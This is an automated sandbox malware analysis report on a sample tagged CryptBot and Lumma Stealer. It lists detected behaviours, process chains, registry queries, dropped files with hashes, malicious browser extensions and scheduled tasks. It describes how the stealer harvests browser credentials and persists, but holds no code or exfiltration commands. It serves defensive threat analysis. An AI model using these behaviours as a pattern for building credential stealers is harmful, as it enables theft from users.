Malware Analysis Report

2024-10-23 17:15

Sample ID 240909-fq3jnawajf
Target 806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a
SHA256 806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a
Tags
discovery pyinstaller cryptbot lumma credential_access defense_evasion execution spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a

Threat Level: Known bad

The file 806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a was found to be: Known bad.

Malicious Activity Summary

discovery pyinstaller cryptbot lumma credential_access defense_evasion execution spyware stealer

CryptBot

Lumma Stealer, LummaC

Credentials from Password Stores: Credentials from Web Browsers

Blocklisted process makes network request

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Checks BIOS information in registry

Executes dropped EXE

Loads dropped DLL

Reads user/profile data of web browsers

Indirect Command Execution

Drops desktop.ini file(s)

Checks installed software on the system

Drops Chrome extension

Suspicious use of SetThreadContext

Drops file in System32 directory

Drops file in Windows directory

Drops file in Program Files directory

Detects Pyinstaller

Enumerates physical storage devices

Unsigned PE

System Location Discovery: System Language Discovery

Program crash

Suspicious behavior: EnumeratesProcesses

Kills process with taskkill

Modifies registry class

Checks processor information in registry

Enumerates system info in registry

Modifies data under HKEY_USERS

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Scheduled Task/Job: Scheduled Task

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-09 05:05

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-09 05:05

Reported

2024-09-09 05:10

Platform

win7-20240903-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe"

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2380 wrote to memory of 1844 N/A C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe C:\Windows\SysWOW64\WScript.exe
PID 2380 wrote to memory of 1844 N/A C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe C:\Windows\SysWOW64\WScript.exe
PID 2380 wrote to memory of 1844 N/A C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe C:\Windows\SysWOW64\WScript.exe
PID 2380 wrote to memory of 1844 N/A C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe C:\Windows\SysWOW64\WScript.exe
PID 1844 wrote to memory of 1988 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 1844 wrote to memory of 1988 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 1844 wrote to memory of 1988 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 1844 wrote to memory of 1988 N/A C:\Windows\SysWOW64\WScript.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 1988 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 1988 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 1988 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe
PID 1988 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe

Processes

C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe

"C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs

MD5 5894fc443d20e14cf58c39182e36b005
SHA1 b499cc3083b0f78dcba99f371e03b1fba280f9f0
SHA256 b2771d1657dde2b930007d61ff633919560d9aa7a0a07d9671c962721ed6d88d
SHA512 f4d8459a7d81f8c7bb4c6ccdef7404032117b9423fb63613d0ad8918453f8078c2ae308ad1167cd7f7b7a409a5807307712b38f3616f6d15c394efd44a65109c

C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe

MD5 5a5d6ad84a7462708c1f4d51ad7ee9cb
SHA1 de68d6b39aef7dcd49216308110d7b1be4cbf649
SHA256 64863ef0c89a91f133ac968f1774e39c0c7fa5c69beb825b3db5e55c4ba60987
SHA512 0cd56d1e7cc34bd56acebd94ee9370ec7aee90b7f86ea6234a6147480d84c4581a5fac85ce73b0cd00a7f7df5e830e4c4dca597ad037a32e84b769b369b50e22

C:\Users\Admin\AppData\Local\Temp\_MEI19882\python312.dll

MD5 0eac9fa387647c388fab4239bfe5a0b5
SHA1 fafb679a58b8d85b50af18a4c0a7402fa890ee39
SHA256 65900b1bc22af5bb974385f7f2a8742ffd12860010cbe0aedb62ff5598998414
SHA512 70042322b98681c73f83f05e03f61a8ad985944cf07633653706c9b87be738e6698099f40328058ee80d4063f8e85aba7c674c3af079cf082376fb1dc9005e86

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-09 05:05

Reported

2024-09-09 05:10

Platform

win10-20240404-en

Max time kernel

297s

Max time network

301s

Command Line

"C:\Users\Admin\AppData\Local\Temp\806b687095169d4ee65405782ba8527ec7f2fcd6918e3da7fa4417377e0cad3a.exe"

Signatures

CryptBot

spyware stealer cryptbot

Lumma Stealer, LummaC

stealer lumma

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Control Panel\International\Geo\Nation C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\build_4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\service123.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\service123.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\service123.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\service123.exe N/A

Reads user/profile data of web browsers

spyware stealer

Checks installed software on the system

discovery

Drops Chrome extension

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_2F09F384AB04F931E2EF39FD04145E2F C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_5F8ABD199E1CF2EB9B30F8FD50D3DB0D C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_5F8ABD199E1CF2EB9B30F8FD50D3DB0D C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199 C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_2F09F384AB04F931E2EF39FD04145E2F C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\4FA45AE1010E09657982D8D28B3BD38E_2E1554F9937BF8D3743D83D919742174 C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\54E176903A096E58E807B60E1BDFA85C C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199 C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat C:\Windows\SysWOW64\rundll32.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe N/A
File created C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\54E176903A096E58E807B60E1BDFA85C C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\4FA45AE1010E09657982D8D28B3BD38E_2E1554F9937BF8D3743D83D919742174 C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2136 set thread context of 4216 N/A C:\Users\Public\File1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\FDxSmxakU\tpuPfd.dll C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Program Files (x86)\HIJHyLDMFVIrArjMcDR\ZZJMobL.dll C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Program Files (x86)\TjUkTRKCSiJkC\EwNGXZF.xml C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Program Files (x86)\tEZYwqVfuQYU2\ttspFuCPVfTdr.dll C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Program Files (x86)\tEZYwqVfuQYU2\lPMjDmV.xml C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Program Files (x86)\FDxSmxakU\hRyNhQz.xml C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Program Files (x86)\HIJHyLDMFVIrArjMcDR\ESFWuTA.xml C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Program Files (x86)\TjUkTRKCSiJkC\lxCvlCt.dll C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A
File created C:\Program Files (x86)\QSBDBQxFkAUn\gBSknPq.dll C:\Windows\Temp\BhywXhhbcuWpvQvH\imJuHYElqEyLwtg\DhIGibW.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\bOYLEOfZCACcRQIJvG.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\hzhNAJUNSjjdIpELG.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\FnGigHNXGPuYnow.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\gXgiPdpSGbihZCqEr.job C:\Windows\SysWOW64\schtasks.exe N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zS6315.tmp\Install.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\forfiles.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\forfiles.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\forfiles.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language \??\c:\windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cscript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\forfiles.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\forfiles.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\forfiles.exe N/A
